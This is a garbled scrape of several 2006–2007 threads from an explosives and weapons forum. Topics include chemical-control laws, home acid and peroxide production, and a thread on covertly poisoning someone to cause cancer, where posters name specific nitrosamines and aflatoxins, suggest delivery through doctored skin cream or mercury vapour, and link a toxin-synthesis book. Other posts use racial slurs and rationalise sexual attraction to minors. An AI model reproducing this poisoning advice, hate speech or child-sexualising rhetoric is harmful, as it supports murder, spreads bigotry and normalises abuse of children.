Just imagine what the chemical situation will be like 10 or even 20 years from now.

If people would just shut-the-fuck-up, sit down and be happy with their lot in life, many of us would have an even better time.
But that would totally blow the notion of vast overcunsumption right out of the water. Corporations can't have stuff like that, so they've become quite good at creating
manufactured wants the sheeple see as needs. But this is somewhat off topic.
fiknet December 20th, 2006, 10:12 AM

I thought I'd bump this thread and give an update since I have obtained a copy of the discussion paper. The discussion will continue until March 1st next year and after that it
still will be some time before they draft the new laws and implement them.
The archive is pass worded with "roguesci" as the paper explicitly mentions not to upload or distribute it, I don't know why since all I had to do is email a request with a fake
name and organization.
http://rapidshare.com/files/8265378/DiscussionPaper-Final.pae.html
EDIT:
It appears that someone was having problems with the type of encryption; here it is in a normal archive.
http://rapidshare.com/files/8321288/DiscussionPaper-Final.zip.html
Bugger December 20th, 2006, 05:42 PM

Osmium (VIII) tetroxide (OsO4) is used, in small quantities, as a stain for animal tissues in biological laboratories, to make the tissues easier to see in thin sections between
glass pieces in a microscope. It is obtained directly from Os metal (which would also have to be prohibited or restricted) by heating it in air, its formation being easily detectable
by its penetrating odor, but its vapor is very toxic by contact or inhalation.
As for Brodifacium, a brominated coumarin derivative similar to warfarin, this is a common poison used in rat poison pellets (and in New Zealand, sometimes in pellets for killing
the introduced Australian brushtail opossum, our no. 1 pest, as a substitute for 1080 (sodium monofluoroacetate)), available from supermarkets and farm supplies stores.
CO is, of course, generated in large quantities every day, by incomplete combustion of organic matter especially fuels in car and other engines (along with CO2, and traces of
CH2O, CH3OH, HCOOH, NO, N2O, and partly oxygenated long-chain hydrocarbons). It is fairly easily made in the laboratory, as for research purposes e.g. to make transition-
metal carbonyls, e.g. as the anhydride of formic acid, HCOOH, and used in large quantities in the extraction and purification of Ni which forms a volatile carbonyl, Ni(CO)4.
As for H2SO4, this is reasonably easy to make by means of a crude home-made lead-chamber process, starting with sulfur, available from pharmacies and farm supplies
stores. HNO3, however, may be more difficult to make clandestinely, if all nitrates were also to be restricted.
H2O2 can be obtained as a bleach from supermarkets, at a strength of about 3%; and provided it is free from impurities which could cause decomposition, there are ways to
concentrate it, as well as to synthesize it on a small scale.
irish December 23rd, 2006, 07:06 AM

It's in a very sad state this country of ours, WHY most of these chemicals are on this list would be interesting to know.
It will be interesting to see how difficult and exactly what is involved with getting the license and permits, I use a few of the Chemicals on that list for my (legitimate and legal)
work so I suppose I'm going to find out regardless of wanting to or not.
I'll bet it's expensive when it happens, one day they will find out the hard way that you can't keep draining money out of farmers, wonder where they think food will come
from when most on the land now have left the land, gone bankrupt, suicided etc.
tweak February 2nd, 2007, 10:42 PM

I would be much happier if our Pollie's weren't using UK and US framework as prime examples. I found this disturbing passage about UK policy.
Amendments have been made to the (UK) Bill to include provisions to control dangerous substances. The Secretary of State has powers, by order, to modify the list of
substances. A section of the Bill allows for the addition of toxic chemicals, animal and plant pathogens and pests to the list. The Bill also gives powers to the Secretary of State
to request information about the security of dangerous substances. It mandates that parties notify the Secretary of State before keeping or using any dangerous substances,
and imposes duties for compliance with security directions.
Irish: You are right, this country is in a very sad state. We will be a carbon copy of America in no time at all. Obesity rates included! :D
knowledgehungry February 3rd, 2007, 01:46 AM

Tweak you are retarded if you are insinuating that America is worse of than Aus. I will not argue that America is getting worse everyday, but we are still allowed to own
handguns, purchase pepper spray anywhere we want, and we don't have a banned chemicals list near what you have.
Not only that if this website was hosted by an Australian man I guarantee your government would come for a visit. This website is hosted by Mega who openly states his
name, school, and I am sure pays the fee for this website via check or Credit Card, the government knows who he is but since we, the United States have the First
Amendment the government does nothing.
As to us being fat, it makes sense that the most prosperous country in the world might overindulge a little bit in the spoils of victory.
I'm sorry NBK for going off topic, but I do not like someone from another country bashing ours!
Chopper February 3rd, 2007, 10:19 AM

Now, now children. Be nice.
We could argue the merits of one country over another for many fruitless years to come. This would of course, be pretty pointless - not to mention petty in the extreme.
So I'll just agree with Knowledgehungry - Australia is every bit as fucked as the United States is.
This whole thing reminds me of something Eddie Murphy said years ago - The problem today, is that everybody's looking for the perfect partner. It's bullshit! There's no such
thing as the perfect person. What you've gotta do is go out and find somebody that's just as fucked up as you are.
While our problematic issues may differ, you're certainly no better off than we are my friend.
However the real issue at hand here is what steps can we take to circumvent these ridiculous new changes in policy. For fuck's sake, a car doing 100 kmh or 60 odd mph has a
far greater capacity to do damage than 1 gun or 1 stick of dynamite.
The chemicals are not the problem - the problem is the sneaky fuckers in our midst that have chosen to use the freedoms we provide against us. If these useless kewl raghead
fucks can still get stuff, then so can we. Just use your heads people and quit the whinning.
Hell, look at people living in some of the eastern bloc countries, look at people living in war-time circumstances. It's all about innovative approaches. As long as you've got a
brain, you can do practically anything with virtually nothing.
The only constant thing is change, you can't buy dynamite in corner stores anymore, you can't make and fly model rockets where ever you please anymore. But both are stil
available, with or without a licence.
So take your pick - vote for people that will rid us of any immigration and the 1 or 2 bad seeds that come through here-and-there, OR work your way around the new rules. If
you're really that passionate about chemistry, it's not a barrier - just an added frustration.
tweak February 3rd, 2007, 05:32 PM

Tweak you are retarded if you are insinuating that America is worse of than Aus. I will not argue that America is getting worse everyday, but we are still allowed to own
handguns, purchase pepper spray anywhere we want, and we don't have a banned chemicals list near what you have.
First and foremost, I never directly compared the two countries.

I also agree that America is getting worse everyday, so is Australia.
May I also add that handguns and pepper spray are readily available over here. We just have tougher licencing requirements than you.
Finally, to the best of my knowledge, the only 'banned' chemicals list that I know of in Australia, relates to illicit drugs. You are mistaken.
If you want to know why our gun laws are like they are:
http://www.nexusmagazine.com/articles/MartinBryant1.html
Eoin February 3rd, 2007, 10:07 PM

As I've been reminded I've been a lurker for the past few months.
Sorry, been in India for the last 2.5 months and had few opportunities to get to computers that weren't treadle opperated.
Ref the newest Aust laws on chemicals, and you all can quote me on this.
There is no stupidity to which Australian Governments will not aspire if there is a perceived vote in it.
"We are doing something"
knowledgehungry February 4th, 2007, 12:26 AM

My apologies for overreacting. I just thought that you were making a backhand comment against the U.S., which would have been very impolite considering that the U.S. of A.
is what brings you this forum(more or less).
As far as "banned" chemicals, I was referring to the restricted chemicals this thread was talking about. I am sorry for not using precise language.
Basically what I meant to say is that if Australia was a carbon copy of the United States, you guys would be a little better off, in terms of civil liberties at least. That's just my
opinion, and an openly biased one at that.
Back on topic, has this been put into effect yet, and has it impacted any of you guys personally?
tweak February 6th, 2007, 05:11 PM

KnowledgeHungry, I understand your position and I respect it.
The legislation is not finalised yet, we have to wait until March to find out what the verdict is. AN legislation has been in effect for over a year now, but I am yet to see it
impact my region. Considering the number of chemicals about to be reviewed, if anything does happens then *most* people won't notice an impact for up to 4-5 years.
I feel this issue is a double edged sword. On one hand I would like for the controls to be passed, to prevent fools from aquiring energetic precursors.
On the other hand, I want to be able to avoid having to purify OTC combinations to get what I want. That is the future though..:(

tweak - I follow the idea of Darwinism in this. Give the fools, idiots and niggers enough rope and they will hang themselves.
Let them booze, take drugs, have unprotected sex to their hearts content. If they want to smoke 50 packs a day, then let them. But let them die also.
I'd rather that some idiot got hold of some precursors and blew himself up (thus removing himself from the gene pool) than have him protected by the sheltering hands of the
government, because (remember) everyone is equal, even those with substandard intellects. :mad:
It's the fact that in removing those freedoms, they disarm the populace. In a perfect democracy, the people would have no need to revolt against the government, as they
themselves would be governing the state. In a liberal representative democracy, the people should have the right to remove the government (by force) if necessary and
replace it with a new government.
By removing our means to do this, they cause us to rely on the systems and backups that have been in place since this countries inception and are now no longer adequite to
defend democracy and liberty. The only difference between Australian government and a Dictatorship is that a dictatorship is one person, and has a greater capacity for good
than democracy ever will have.
I say this because the benign dictator is more in contact with the people, where as the democratic leaders tend to have their information filtered to them or made up
completely to follow their own goals.
Remember, those that would trade a little freedom for a little security will find they have neither.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Best O rganic Chem . B o o k s /
Texts
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I have been browsing these forum s for a while and it has been apparently obvious that my chem . 1 2 e d u c a t i o n a n u m ber of
y e a r s a g o d o e s n t cut it.
I wish to edu cate m y self in the field of organic chemistry to partake in these conversations, and m aybe contribute som e d a y .
S o I a m asking which do you think is the most concise organic chem istry texts, books, or m anuals. Be it in lab set up, creative
glassware, complex o rganic structures nam ing and synthesis. Also which you think would b e the best edition, publication of a
first and second year organic chemistry work books. I hope this isn't taken as a spoon feeding request but I thought it was
worth a shot as this is the best wealth of knowledge I have ever com e across. :)
jellywerker October 6th, 2006, 12:48 AM

You might want to see my self education thread farther down, it is entitle d "Starting them young"
Most of the people here will be rather open with guiding you to books (although searching yourself would probably have
brought up a decent load of stuff, but since you are looking for opinions too, you may be spared disicpline) but from m y sm all
experience they are somewhat tight lipped on actual lab equipm e n t a n d s u c h .
M u c h m o r e h elpful (for m e anyways) was the sciencema dness.org forum s, less related to E & W , but a very good chem istry
site. Helpful to beginners too, as long as you a ren't stupid. A po ssible explanation of this percieved "tight lipped"-ness on
equipment would be that if you are browsing Megalomania's section of the site with recipes, he notes all the equipm ent
required. So you m ust sim ply obtain that which is mentioned in the synths you wish to do. Also, as you read, you will com e to
see what is useful in any home laboratory.
S e n d m e a p m if you would still like my though ts on equipment though, but for general tips, look at cynm a r . c o m a n d e b a y a n d
start sm all. Also, check out what stuff m ight cause suspicion in your area, for exam ple, in my area, buying an erlenm e y e r f l a s k
m a k e s y o u a n a u t o m a t i c s u s p e c t a s b e i n g a p e r s o n w h o m a k e s m e t h . O n t h e o t h e r h a n d , I h a v e y e t t o s e e t h e l o c a l p o r k b ust
a m e t h l a b t h a t u s e d m u c h h i g h q u a l i t y e q u i p m ent, half the crap is m a d e i n c l e a n e d o u t M a y o j a r s a n d s u c h .
I a m sure other m o r e e x p e r i e n c e d m e m bers can point out other details I m ay ha ve m issed, but good luck to you in your
education.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Murder by Cancer
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Well I don't know if this is the right place to ask but here goes.
Several years ago I saw a television program where some loony tried to kill a former girlfriend with a drug which induces terminal liver cancer roughly 5 years after ingestion.
He screwed it up, of course, by using too much and killing several people in her family right away.
But the question I have is, does anyone have any idea what this drug might be?
I believe the show I saw was based on a book called "Toxic Love" by a Tomas Guillen. So if anyone has any idea what this chemical is, could you tell me?

Why would a drug be nessicary when (according to the media) damn near everything on this earth causes cancer? :p
Just add a sprinkle of asbestos to their cheerios each morning for about a year and I'm sure it'll do the trick.
zeocrash October 10th, 2006, 06:31 AM

wouldn't that work better if they inhaled their cherios, which would probably prove more fatal than inhaling the asbestos :P.
i've often thouught that carcinogenic substances would be good as political assasination weapons. Allowing one country to "remove" a foreign leader they viewed as
undesirable, while maintaining unincriminated.
nbk2000 October 10th, 2006, 07:13 AM

There was an eastern european politican who was recently poisoned by Dioxin while running for office.
Horrible damage. :eek:
I can imagine the cancers this poor fucker is going to be sprouting in just a couple of years.

Several years ago I saw a television program where some loony tried to kill a former girlfriend with a drug which induces terminal liver cancer roughly 5 years after ingestion.
He screwed it up, of course, by using too much and killing several people in her family right away.
But the question I have is, does anyone have any idea what this drug might be?
Please check these out :
http://www.roguesci.org/theforum/76978-post42.html
http://www.roguesci.org/theforum/77027-post45.html
The second post contains almost exact story you are referring to. It was broadcast on an episode of Forensic Scientists of Discovery channel.
The substance is a nitrosamine. However, I shall not give you which nitrosamine it's. You should figure out it by yourself. Regards

Why would a drug be nessicary when (according to the media) damn near everything on this earth causes cancer?
Yea I know, sometimes it makes me wish I was a lab rat, hell they can cure anything in them!
wouldn't that work better if they inhaled their cherios, which would probably prove more fatal than inhaling the asbestos :P.
Well I suppose if a microscopic piece of absestos in your lung can cause cancer than a whole cheerio would be a real bitch! :eek:
i've often thouught that carcinogenic substances would be good as political assasination weapons. Allowing one country to "remove" a foreign leader they viewed as
undesirable, while maintaining unincriminated.
There was an eastern european politican who was recently poisoned by Dioxin while running for office.
Horrible damage.
I can imagine the cancers this poor fucker is going to be sprouting in just a couple of years.
Yea, that was (I believe) Viktor Luchenko (sp?) president of the Ukraine, the Russians were a bit pissed off with him at the time so they put some dioxin in his soup (which
considering Russian cooking might actually have been a favour) and it nearly killed him (and made him look like an extra from "Night of the Living Dead Presidents") and in a
few years I guess he will be dead.
The second post contains almost exact story you are referring to. It was broadcast on an episode of Forensic Scientists of Discovery channel.
Yep, thats it, only I saw it on A&E.
The substance is a nitrosamine. However, I shall not give you which nitrosamine it's. You should figure out it by yourself. Regards
That sounds like it, thanks. It was Diethlynitrosamine wasn't it? (I looked it up and that seems the most likely.)
Oh yea and I like the idea about the mercury vapours to induce insanity, driving them mad as a hatter, eh? (Possibly hooking a mercury device to a car heater?)
Ropik October 11th, 2006, 04:13 PM

Fester's Silent Death has a section about cancer-inducing toxins. Check it out.

Silent Death - 2nd Edition, Uncle Fester. About the synthesis and use of various toxins and war gasses.
http://rapidshare.de/files/35285344/UF_SD.rar
Just for the convenience :)


Hm...well it is always good to rub your enemy ;) but wear gloves. So make him a skin creame but just for his sake be cheap and use poorer US grade of triethanolamine (can
contain up to 15% of diethanolamine). Add nitrites as "preservatives" and you know the rest of the story. :D Hell I will start avoiding cosmetics considering how many stupid
cheap bastard companies are outthere. BRRR!

Fester's Silent Death has a section about cancer-inducing toxins. Check it out.
Silent Death - 2nd Edition, Uncle Fester. About the synthesis and use of various toxins and war gasses.
Just for the convenience
Thanks. Thanks C. Tech. I've already downloaded it from seeing it on your tagline.

FUTI, are you sure that having chemicals rubbed into peoples skin wouldn t alert them something isnt wrong? Especially if they have sensitive skin.
Hirudinea, no problem :) just doing my part to make information freely available to everyone who deserves it.

c.Tech I agree that it can alert them, but smart dosage can reduce the irritability and as bonus virtue melanoma is really fast. Anyway people will most likely think of it "God
again some phantom skin rash! What is this? Allergic reaction etc..."

I could not keep my mouth shut. :D However it must be pointed out that the substance in the said event was not ethyl derivative but methyl derivative of nitrosamine.
Check the following links out and pay attention especially to toxicological properties: :D
http://physchem.ox.ac.uk/MSDS/NI/N-nitrosodiethylamine.html
http://physchem.ox.ac.uk/MSDS/NI/N-nitrosodimethylamine.html
However, if I ever choose a cancer toxin, then I would opt for aflatoxins. These substances are scary shit and do harm on very small dosages too.
The following contains toxicological values (which are far more higher than the carcinogenic dosages).
http://physchem.ox.ac.uk/MSDS/AF/aflatoxin_B1.html
Regards.
nbk2000 October 14th, 2006, 07:38 PM

The dimethyl is far more toxic then the diethyl, over 10x more so. :)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Free International Calls (From
USA Only)
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nbk2000 October 10th , 2006, 12:37 AM

C o p i e d f r o m elsewhere:
Make free internation al phone calls sans Skype with Futurephone, a company that's just got to be bleeding m oney.
The service doesn't run ads or ask for personal information. They sim ply provide an access num ber based in Iowa - so
d o m estic long distance charges apply - that you call with any old phone and then dial your international num ber through.
C a l l 7 1 2 - 8 5 8 -8883 to give it a try.
I haven't been able to test it m yself, but the New York Tim es' te ch writer David Pogue says it's totally legit. Cool! You got a
friend overseas? Give Futurephone a try and let us know how it goes. (Warning, though: calling international cell phones
doesn't yet work.)
+++++++++
Assume it to be operated by the NSA as a honeypot to trap terrs calling Osam a , a n d s p e a k a c c o r d i n g l y . I n t h e m e a n t i m e , h a v e

fun gabbing for free. :)
random136 October 10th , 2006, 02:48 AM

Ah yes, I happen to find Daily DIY quite the useful blog m y s e l f . I t s h o u l d b e n o t e d t h a t t h e p h o n e n u m ber listed above is
l o c a t e d i n I o w a , a n d h e n c e , a n y o n e w h o c a n m a k e a f f o r d a b l e c a lls there can use this suspicious, b u t n o n e t h e l e s s u s e f u l
service. That also includes Canadian callers, particularly those with "borderless" phone plans which allow them to call U S &
Canada at their local rates.
Zajcek October 10th , 2006, 03:35 AM

Lucky you, that you can call for free or cheaply ;)
R e m inds me of a little dream I h a d :
Our school 's central had a bug which allowed us to dial at school, pressed "0" ( which was used to dial out ) waited for a dial
t o n e a n d t h e n d i a l e d a p h o n e n u m b e r o f s o m e cell phone.
S o m e com panies, including hospital were known to had the same bug, but they fixed it all.
W e were able to call to cell phones at the price of local calls or even to foreign country's.
Unfortunately, they got suspicious because of big phone bills every m onth, so they fixed it.
But we had a lot of fu n while it lasted ;). W e s o metim es called som e schoolmates and told that we are calling from school.
W hen they would look up for the num ber in the phone book, they saw, it was really from school. :D
It was very convenien t for hiding your own number, behind school's one when making prank calls :D ( what can I say, we were
still a bit childish, but we laughed out pants of :p )
Is this service you m e n t i o n e d a s i m i l a r b u g ?

If you are using it, be careful not to reveal anything about yourself, they could be listening ;)
And you have to rem e m ber:

Nothing in this life is for free, or alm ost nothing.
T h e y p r o b a b l y h a v e s o m e b e n e f i t s f r o m the service.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > 18 m onths for m a k i n g A P
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bangerman October 10th , 2 0 0 6 , 0 2 : 2 1 P M

Heard on the radio, that a guy up in Manchester just got 18 m o n t h s f o r m a k i n g a n d u s i n g A P .
Silly fucker blew som e d o o r s o f f h i s o l d m a n s g a r a g e , a n d w a s b l o w i n g d e e p h o l e s i n h i s l o c a l f a r m e rs land.
But it goes to show how heavy the law has come down o n people for m a k i n g A c e t o n e p e r o x i d e . A n d t o a d d a n o t h e r p o i n t a s
from last week, m y local chem ist has stopped stocking Acetone.
fiknet October 10th , 2 0 0 6 , 0 7 : 2 8 P M

He was actually a mem ber of the totse forum a round that time but they hated him even there and he was banned, he went by
t h e n a m e R edSky and did a very large charge of 12kg of ANNM which the re is a video of floating around. He was a very
arrogant and stupid person and it was no surprise that he got ca ught.
Gerbil October 10th , 2 0 0 6 , 0 9 : 0 6 P M

Idiot. I'd fully support the prison sentence, if it wasn't for the adverse effect on people like, erm, me.
1 more nail in the pyrotechnic coffin. :(
Lewis October 10th , 2 0 0 6 , 1 1 : 2 9 P M

I'm n o t s u r e t h a t s a y s a n y t h i n g a b o u t t h e h a r s h n e s s o f l a w s o n e x p l o s i v e s .
I f h e u s e d a b a c k h o e to terrorize his n eighbors I'm sure he would have recieved a sim ilar sentance.
Gerbil October 11th , 2006, 11:58 AM

P e r h a p s , b u t t h e p r o b l e m is that the m edia will use it as another exam ple of why to ban everything ;) .
tmp October 11th , 2 0 0 6 , 1 2 : 4 4 P M

S t u p i d i n d e e d ! H e s h o u l d ' v e f o u n d s o m e place where h e ' d b e o u t o f s i g h t
of his neighbors and local LE. For example, a p atch of woods away from
the local area where no one would give 2 shits about wh at he was doing.
Dum b fucker !
Jacks Complete October 12th , 2 0 0 6 , 0 4 : 3 3 P M

Manchester in the UK? Or else where?
Manchester has the n ickname "Gunchester" now. Residents often don't bother reporting gunshots. Perhaps he just wanted to
get in the pa per?
pearlcrash911 October 20th , 2006, 01:30 AM

I just did a search for RedSky on totse a n d a p p a r e n t l y h e d r i e d h i s A P i n a n o v e n . : e e k :
Also, it was amusing to see th at he m a d e s o m e "innocent" com m e n t s a b o u t h o w h e h a t e d h i s n e i g h b o r s .
nbk2000 October 20th , 2006, 08:51 AM

Dried AP in h is oven?
I wish we had an em oticon of a head shaking in disbelief with a hand held to its eyes in disgust.
But :rolleyes: will have to do. :D
c.Tech October 22nd, 2006, 04:54 AM

apparently he dried h is AP in an oven.
I wish we had an em oticon of a head shaking in disbelief with a hand held to its eyes in disgust.
I think a rotting carca ss with h a l f a m i s s i n g h e a d a n d n o a r m s would be a great one to sym bolise him , with an em o t i o n o f n b k
h e a d s h a k i n g e m o t i o n l o o k i n g a t t h e d e a d m o r o n . O h w a i t , I g o t that m ixed up with another kewl, 'phone' :p.
spaceninja October 23rd , 2006, 10:56 AM

I a l s o r e a d a but that guy from Manche ster.The news said that he kept a sm all bo ttle of AP in a refigerator in his garage and if
it was to be knocked the AP would have destroyed all th e h o m e s i n h i s n e i g h b o u r h o o d , s o m ehow i don't believe this.The guy is
a com plete fuckwit who dries his AP in an oven and draws attention to himself by m aking craters in fields and broadcasting the
fact that he owns kiddie porn.Stupid sick retarded shit.
VinniBOOM October 23rd , 2 0 0 6 , 0 1 : 0 2 P M

Yeah, he was discovered with child pornographic im a g e s o n h i s c o m puter which he had downloaded . Strengthens the fact that
he was not just arrested for synthesising the AP. I would say that the explosive charges would have been a minor sentence if
he was so perverted towards young people. Sick bastard.
festergrump October 23rd , 2 0 0 6 , 0 3 : 0 9 P M

Not to try to defend a class A m oron, but kiddie porn is a tool the piggies like to use as a generic "do-all" reason fo r going in
for an arrest in the first place... it sways the public opinion enough to where it no longer m atters what the cops do to you or if
their actions are illegal or not during the arrest. Similar was used in the Waco Texas Branch Dividia n's case when all else failed
to gain public support for federal action, remem ber.
T h e y ' r e p a l y g o m ists. Reaction : Who cares?

They've got NFA restricted guns. Reaction: W ho cares?
The leader thinks he's Christ. Reaction: W ho cares?
He rapes children. Re action: GET THE SICKO BASTARD!!!
Maybe this guy really did have child porn on his com puter. Yeah, that's sick. But even if he didn't have any before the cops got
there, he does now...
c.Tech October 24th , 2006, 08:41 AM

I did a search a while back about Caucasian pa edophile s. (Because I tho ught there were more Caucasian p edos than other
race s which I later f o u n d w a s n t tru e it just s e e m s t h a t way when you live in a white country)
I ended finding out this.

http://www.glgarden.org/ppp/kent.html
I t s qu ite shocking but interesting. It now m a k e s m e f e a r o f h a v i n g k i d s .
But I can say that the chances could have weighed in the tests favour and just because people cou ld get aroused by the sick
im a g e s d o e s n t m ean they will have t h e l a c k o f r e s p e c t t o c o m m it such a crim e a s r a p ing a child, m a n y p e o p l e who are
attracted to wom a n d o n t g o r a p i n g w h e n t h e y c a n t g e t a n y .
megalomania October 25th , 2006, 03:22 AM

Ive got news for you, you probably have kiddie pron on your com puter if you eve r look at Internet porn (the Internet is for
porn). Ever see a thum bnail gallery site? A ba nner for a porn site? You cant always control being exposed to porn with
redirects, ads, blind links, and the other spam mer tricks, and yo u can de termine what might be illegal when you get there. Is a
b a n n e r a d d e p i c t i n g a n u d e p r e t e e n g i r l i l l e g a l ? Y o u m a y have n o idea, but I am sure technically in som e twisted way an evil
cop could find probab ly cause to call you a pedophile if they find it on your com puter. The charge does not have to stick, it just
has to be levied then you are guilty.
I hear the legal age for Dutch nude m o d e l s i s 1 6 . W hats the difference between a nude 17.999 year old and an 18 year old ?
Can you tell them apart? One is technically illegal in the US. Also, technically, kiddie porn and pedophilia is only a d esire for
prepubescent girls. There is another philia for older, but still under 18 girls, but you will still get labeled a pedophile because
t h a t i s a n o t h e r o f t h o s e s e n s e l e s s a u t o m aton labels like racist that pro pagandists use to instill fear into the people.
Nihilist October 25th , 2006, 05:26 AM

I h e ar the le gal age f o r D u t c h n u d e m o d e l s i s 1 6 . W h a t s t h e d i f f e r e n c e b e t w e e n a n u d e 1 7 . 9 9 9 y e a r o l d a n d a n 1 8 y e a r old?
Can you tell them apart? One is technically illegal in the US. Also, technically, kiddie porn and pedophilia is only a d esire for
p r e p u b e s c e n t girls. There is a nother philia for older, but still under 18 girls, but yo u will still get labeled a pedophile b e c a u s e
that is anoth er of t h o s e s e n s e l e s s a u t o m aton labels like racist t h a t p r o p a g a n d i s t s u s e t o i n s t i l l f e a r i n t o t h e p e o p l e .
Very true, as the rece nt Mark Foley scandal proves. Granted, he still abused his position, but it was hardly "pedophilia" given
that the boys he was soliciting were 15-17 years old.
nbk2000 October 25th , 2 0 0 6 , 0 5 : 5 1 P M

C. Tech, that Kent study is revealing the truth that people don't want to face.
T h e m a l e m ind is pro gram m e d t o s e e k o u t t h e best m ate for reproduction. That m e a n s Y O UNG fem a l e s .
It isn't until the last century or so that humans had any expectation of living past 40, and even less in the centuries prior.
T o i m pregnate a 30 y.o. wom en was to doom your children to being orph a n s .
Also, the younger the girl, the less likely she was to have been fucked by others, who could have im pregnated or infected her,
d a m aging your reproductive success.
So it's no wonder that the bod y, evolved over countless thousands of years, responds to the ancient biological impe rative that
the m ost transient of social norms says is wrong. :m a d :
http://www.paulgraham .com /say.htm l
To say that young girls are sexual is wrong...today.
A century ago it wasn't (otherwise we wouldn't h ave Alice in W onderland), and I don't think a century from now that it will be
either, as envirom ental pollution renders older fem ales sterile.
megalomania October 25th , 2 0 0 6 , 0 6 : 4 1 P M

The word I am looking for is ephebophilia, which is distinctive and opposite from p e d o p h i l i a . W h e n sexually attracte d to older
boys the word pedera sty is used. The word paraphilia would also apply to those into sexual things just beyond the socal norm .
All that Japanese love for lolicons, and high school girls could be considered ephebophilia.
W hat are those recurring hentai plots again, nbk?
Oh, here is a quick guide for anim e...

http://www.roguesci.org/im a g e s / W hat is Loli an d Non-Loli.jpg
c.Tech October 25th , 2 0 0 6 , 1 1 : 1 1 P M
C. Tech, that Kent study is revealing the truth that people don't want to face.
T h e m a l e m ind is pro gram m e d t o s e e k o u t t h e best m ate for reproduction. That m e a n s Y O UNG fem a l e s .
T h i s a l l s e e m s very s t r a n g e t o m e a l t h o u g h i t s t r u e b e c a u s e o f a n o t h e r s t u d y I s a w .
I t w a s o n T V s o m e m o n t h s b a ck and showed that woma n's bodies are attractive to men through a ratio of width of the hips
and waste. Because girls which haven t yet hit puberty don t experienced widening in the hips how can it b e s o ? T h e s t u d y o n
TV showed sexually d e v e l o p e d w o m a n a s e x a m ples. Bo th studies contradict each other.
And if the m ale brain is program m e d t o s e e k o ut the best m ate why in m a n y c a s e s d o e s i t s e e k o u t m ates that obviously
wouldn t h a v e e g g s to fertilize?
I t ' s a d i f f e r e n t s tory if they r e a t e e n .
Nihilist October 25th , 2 0 0 6 , 1 1 : 1 9 P M

T h i s a l l s e e m s very s t r a n g e t o m e a l t h o u g h i t s t r u e b e c a u s e o f a n o t h e r s t u d y I s a w .
I t w a s o n T V s o m e m o n t h s b a ck and showed that woma n's bodies are attractive to men through a ratio of width of the hips
and waste. Because girls which haven t yet hit puberty don t experienced widening in the hips how can it b e s o ? T h e s t u d y o n
TV showed sexually d e v e l o p e d w o m a n a s e x a m ples. Bo th studies contradict each other.
And if the m ale brain is program m e d t o s e e k o ut the best m ate why in m a n y c a s e s d o e s i t s e e k o u t m ates that obviously
wouldn t h a v e e g g s to fertilize?
I t ' s a d i f f e r e n t s tory if they r e a t e e n .
T r u e p e d o p h i l i a , a s m ega described it, is indee d a paraphilia not associa ted with norm a l h u m a n f u nctioning, because a
p e d o p h i l e s e eks to have sex with younger 'm ates' who are incapable of reproduction. However som e o n e w h o w a n t s t o h a v e s e x
with a 13+ year old girl is probably functioning fairly naturally as the youngest capable mo ther is probably the best choice, from
an evolutionary standpoint.
Chris The Great October 26th , 2006, 06:04 AM

D i d y o u m a k e t h a t g u i d e M e g a ? I w a s l a u g h i n g for quite som e time over that.
Just a thought on the kent study- it se ems that a lot of girls start developing quite young, so "below 12" as the study idicates
c o u l d m e a n t h a t t h e y h a v e t h e a b o v e b o d y s h a p e s a n d w h a t n o t t h a t m en are pro gram m e d t o l o o k f o r .

I've noticed that alot of preteen girls a re looking m o r e a n d m o r e d e v e l o p e d a s t h e y e a r s g o o n , t o o . I d o n ' t k n o w h ow true it is
b u t s o m e o n e o n c e t o l d m e it had something to do with steroid and other injections into cattle and other food anim als that's
resp o n s i b l e . S o u n d s k i n d o f p o s s i b l e , I s u p p o s e .
S o m a y b e t h e r e ' s s o m e t h i n g i n t h e f o o d t h a t g e t s t h e m to develope early?
There's definitely som ething in the AIR that gets them pregnant young, though... their FEET! ;)
Match October 27th , 2006, 02:52 AM

The best age (physically) for pregnancy is around 15 ye ars old....Being a ttracted (physically) to a girl who h a s ( m o s t l y )
completed puberty is natural. Morally, you cannot act upon these urges because of the harm y o u may cause to the developing
individuals intellect. The only difference betwee n a m a n a n d a ' p e d o ' i s t h a t o n e n e v e r a c t s u p o n his selfish urges. Besides,
you ever try talking to a 15 year old girl? You're crazy as an adult if you are attracted to that sort of personality. Heck, I can
barely stand most wom a n .
Don't forget that child pornography laws exist o nly to protect the children....

festergrum p, nice the ory. I also heard that fem ale horm ones in chicken cause m en to grow titties, it could also be the cause , I
eat less chicken now.
I actually think that the earlie r p u b e r t y i s d u e t o i m p r o v e d m e d icine becaus e illness can s l o w d e v e l o p m e n t , t h a t s t h e

e x p l a n a t i o n f o r t o d a y s y o uth being taller than they were 40 yea r s a g o .
nbk2000 October 27th , 2006, 03:48 AM

I rem ember seeing that TV show, I believe it was either Nature or S.A., on PBS.
The hip/waist ratio that is considered ideal is supposed to be .7, with the waist be ing the smaller of the two. ;)
F e m ales didn't com e into puberty until 13-15 in previous centuries. Nowadays, because of all the h orm o n e s p u m ped into dairy
a n d m e a t a n im als, females can start menstrua t i n g a s y o u n g a s 8 ! : e e k :
This is obviously too young to safely have child ren, and is a side-effect of tam pering with nature.
Another thing is, we don't know what the pictures were they were showing to the m en in the Kent study.
W ere they seeing pictures of ugly adult fem ales VS. whored-up pedo-bait of 12 (going on 30) year olds? Ever seen JonBenet
R a m sey? She was being whored-up by her parents at 4. :(
S t u d i e s c a n b e r i g g e d t o f i t a s p o n s o r s a g e n d a . W h o f u n d e d t h e Kent study? Neo-conservatives looking for 'proof' to support

s o m e new authoritarian measure of future control, like at-birth RFID implantation or DNA'ing, in the guise of 'Protecting The
Children'?
Personally, I'm into h oplophilia. ;)

I found the loli/not lo li pic on 4chan and sent it to m ega during a previous discussion we had on the recurring plot them e s i n
hentai, of wh ich I'd swear there's only 10. :D
Chris The Great October 27th , 2006, 04:18 AM

I've noticed that alot of preteen girls a re looking m o r e a n d m o r e d e v e l o p e d a s t h e y e a r s g o o n , t o o . I d o n ' t k n o w h ow true it is
b u t s o m e o n e o n c e t o l d m e it had something to do with steroid and other injections into cattle and other food anim als that's
resp o n s i b l e . S o u n d s k i n d o f p o s s i b l e , I s u p p o s e .
S o m a y b e t h e r e ' s s o m e t h i n g i n t h e f o o d t h a t g e t s t h e m to develope early?

I h a d t h o u g h t t h e s a m e thing myself but had doubts as to the validity of it, since although it m a k e s s e n s e i t a l s o i s t h e p e r f e c t
